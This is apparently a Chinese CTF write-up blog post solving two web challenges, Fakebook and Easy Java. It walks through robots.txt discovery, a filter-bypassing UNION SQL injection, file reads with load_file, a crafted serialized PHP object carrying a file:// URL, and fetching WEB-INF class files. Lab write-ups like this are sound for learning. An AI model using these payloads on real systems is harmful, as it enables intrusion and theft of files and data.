0%

web做题记录7

[网鼎杯 2018]Fakebook

用nikto扫描网址发现/robots.txt

image-20230323203229130

访问robots.txt发现

image-20230323203423471

下载/user.php.bak

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php


class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}

我们先回到首页,点join注册一个账号

image-20230323205228032

这个页面,也就一个username可以点进去,于是我们点进入,发现no这个地方可以注入,于是拿去sqlmap上跑一手,发现没有跑出来。

于是尝试手工注入:

?no = 1 and 1=1  //回显正常

?no = 1 and 1=2  //错误回显

铁定数字型注入,于是我们看看表中有多少列,确定一下列数,

?no = 1 order by 3    //正常

?no = 1 order by 4    //正常

?no = 1 order by 5    //错误

所以确定列数,有4列

于是我们尝试union联合注入:

?no = -1 union select 1,2,3,4 –+

结果显示nothack,通过大佬wp中发现,过滤了union select

于是我们再次构造payload:

?no = -1 union/**/select 1,2,3,4–+

image-20230323210420165

回显位是username,

然后我们开始查数据库和数据库信息

?no=-1 union/**/select 1,database(),3,4–+  //数据库名

image-20230323212057764

?no=-1 union/**/select 1,user(),3,4–+    //数据库信息

image-20230323212127535

发现居然是root权限,那我们知道有一个load_file()函数可以利用绝对路径去加载一个文件,于是我们利用一下

load_file(file_name):file_name是一个完整的路径,于是我们直接用var/www/html/flag.php路径去访问一下这个文件

?no=-1 union/**/select 1,load_file(“/var/www/html/flag.php”),3,4–+

img

结果我们得到了flag。这也是我看一个大佬的博客上面用的,我也是学到了这个知识。

接着我们继续往下看 不用这个方法

我们接着爆数据库表:

?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()–+

image-20230323212800149

获得一张users表

然后爆字段名:

?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=’users’–+

image-20230323212934384

?no=-1 union/**/select 1,data,3,4 from users –+

image-20230323213124549

是个序列化后的UserInfo对象,这和我们最开始得到的user.php.bak文件有关系了。

在这里我们是不是可以利用一下呢?于是我们对这个序列化后的内容稍作改动

O:8:”UserInfo”:3:{s:4:”name”;s:5:”admin”;s:3:”age”;i:19;s:4:”blog”;s:29:”file:///var/www/html/flag.php”;}

然后构造payload:

?no=-1 union/**/select 1,2,3,’O:8:”UserInfo”:3:{s:4:”name”;s:5:”admin”;s:3:”age”;i:19;s:4:”blog”;s:29:”file:///var/www/html/flag.php”;}’

然后我们查看源码,发现读出来的数据,base64解密获得flag

image-20230323213401575

flag{549b4e3c-01a4-4ffc-af8b-345241d9cf28}

[RoarCTF 2019]Easy Java

这题主要考察:

WEB-INF主要包含一下文件或目录:

/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。

/WEB-INF/classes/:含了站点所有用的 class文件,包括servletclass和非servletclass,他们不能包含在 .jar文件中

/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。

/WEB-INF/database.properties:数据库配置文件

漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码

image-20230324121836152

查看下配置文件看看

image-20230324121909400

构造filename=WEB-INF/classes/com/wm/ctf/FlagController.class

image-20230324122008613

一段base64编码解码后获得

flag{332bd58a-7a90-4efc-8de6-b9f2bab6dc06}